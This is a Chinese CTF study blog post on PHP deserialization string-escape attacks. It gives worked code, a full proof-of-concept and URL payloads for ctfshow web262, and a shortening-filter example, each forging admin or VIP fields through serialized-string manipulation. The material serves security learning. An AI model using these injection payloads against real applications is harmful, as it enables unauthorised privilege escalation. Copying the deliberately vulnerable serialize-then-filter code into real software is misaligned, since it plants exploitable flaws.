IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> php反序列化字符串逃逸学习 -> 正文阅读

[PHP知识库]php反序列化字符串逃逸学习

前言

最近在刷ctfshow的web入门反序列化题目时,正好遇到了字符串逃逸的问题,就跟着群主的讲解视频和网上大佬的文章来学习一下。

反序列化特点

PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。

看如下代码:

<?php
class a{
	public $a = "shyshy";
	public $b = "nb666";
}

$x = new a();
echo serialize($x); 
//结果为 O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}

echo '<br>';
$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}';
var_dump(unserialize($y));

最后反序列化的结果为
请添加图片描述
因为是根据长度来判断内容,所以会在长度符合后的第一个}结束

$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:5:"nb666";}6";}';
var_dump(unserialize($y));

请添加图片描述

当字符串和前面的长度不对应时,就会报错

$y = 'O:1:"a":2:{s:1:"a";s:6:"shyshy";s:1:"b";s:6:"nb666";}'; // 长度改为6
var_dump(unserialize($y));

请添加图片描述

反序列化字符串逃逸

下面开始逃逸,能够逃逸的特点一般是题目中都有替换函数,将一些关键词替换成为另一个词,从而造成字符串的长度增加减少,而php总是先进行序列化操作,再去替换字符串。

逃逸后字符串变长

看下面的代码

<?php
class user{
	public $username;
	public $password;
	public $isVIP;

	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
		$this->isVIP=0;
	}
}

function filter($s){
	return str_replace('admin','hacker',$s);
}
$u = new user('admin','123456');
echo serialize($u);

输出为O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
用过滤函数后

$us = filter($u_seri);
echo $us;

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
两者对比,发现admin已经被替换成hacker,但是字符串长度没有变,还是5,这就逃逸出来了一个字符。
现在想要将isVIP的值改为1,首先,可以将admin的值改为admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;},这样可以使得在反序列化时,到这里就成功闭合,从而舍弃后面的字符串。
请添加图片描述
但是因为admin变长,前面的长度却还显示的是原来的,这就导致运行后会报错。这时就要借助过滤函数让字符串变长的作用。(刚刚添加的字符串长度为47)
过滤函数每次替换后,都会让字符串字母+1,也就是需要47个admin来填充

$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$u_seri = serialize($u);
$us = filter($u_seri);
echo $us;

输出结果:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

验证一下长度
请添加图片描述
再来看最后结果
请添加图片描述
发现成功的让isVIP变成了1

web262 wp

再看一道反序列化导致字符串变长的题,是CTFshow web入门的web262

<?php
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这里会把字符串中的fuck替换为loveU,多出来一个字符。
题目中给的提示,还有一个message.php

<?php
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

开始分析

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
	}
}

function filter($msg){
	return str_replace('fuck','loveU',$msg);
}

$msg = new message('1','1','fuck');

$msg_1 = serialize($msg);

echo $msg_1;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}

上面是在函数过滤前,下面是函数过滤后

$msg_2 = filter($msg_1);
echo $msg_2;
//O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}

可以看到逃逸出一个字符。那么这题就是要把类中$token的值由user换成admin,按照上面的例子

";s:5:"token";s:5:"admin";}

请添加图片描述
可以看到字符串的长度是27,也就是要27个fuck

完整poc:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
	}
}

function filter($msg){
	return str_replace('fuck','loveU',$msg);
}

$msg = new message('1','1','fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}');

$msg_1 = serialize($msg);


$msg_2 = filter($msg_1);
echo $msg_2;

验证一下,发现逃逸成功,token=admin
请添加图片描述
payload:

?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php获取flag

逃逸后字符串变短

写一个简单的代码

<?php
highlight_file(__FILE__);
class web{
	public $username;
	public $password;
	public $isvip = '0';

	public function __construct($u,$p){
		$this->username = $u;
		$this->password = $p;
	}
}

$username = $_GET[u];
$password = $_GET[p];

function filter($msg){
	return str_replace('shy','',$msg);
}

$msg = new web($username,$password);

$msg_1 = serialize($msg);
echo $msg_1;
echo '<br>';
echo '<br>';

$msg_2 = filter($msg_1);
echo $msg_2;
echo '<br>';
echo '<br>';

$msg_3 = unserialize($msg_2);
var_dump($msg_3);

目的是让isvip的值由0变为1。在输入普通字符后,结果正常
请添加图片描述
在输入一个shy后,被置换为空,同时逃逸出三个字符
请添加图片描述
那么想要让isvip的值为1,就要构造如下字符串

"s:5:"isvip";s:1:"1";}

长度为22,先输入一个shy让反序列化不正常
请添加图片描述
那么红框框起来的就变为username的值,那么可以让这中间的";s:8:"password";s:29:"123456全部变成username的值,再自己添加一个password,使变量的数量保持为3,就可以造成逃逸。
请添加图片描述
由于长度是29,无法整除3,所以改成1234567,此时长度为30,共需要10个shy,吃掉30个字符。然后添加";s:8:"password";s:6:"123456作为password序列化的内容。
如下图,可以看到成功的把isvip的值变为1
请添加图片描述

payload:

?u=shyshyshyshyshyshyshyshyshyshy&p=1234567";s:8:"password";s:6:"123456";s:5:"isvip";s:1:"1";}
  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-22 13:54:33  更:2021-07-22 13:56:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2025年1日历 -2025/1/31 21:45:11-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码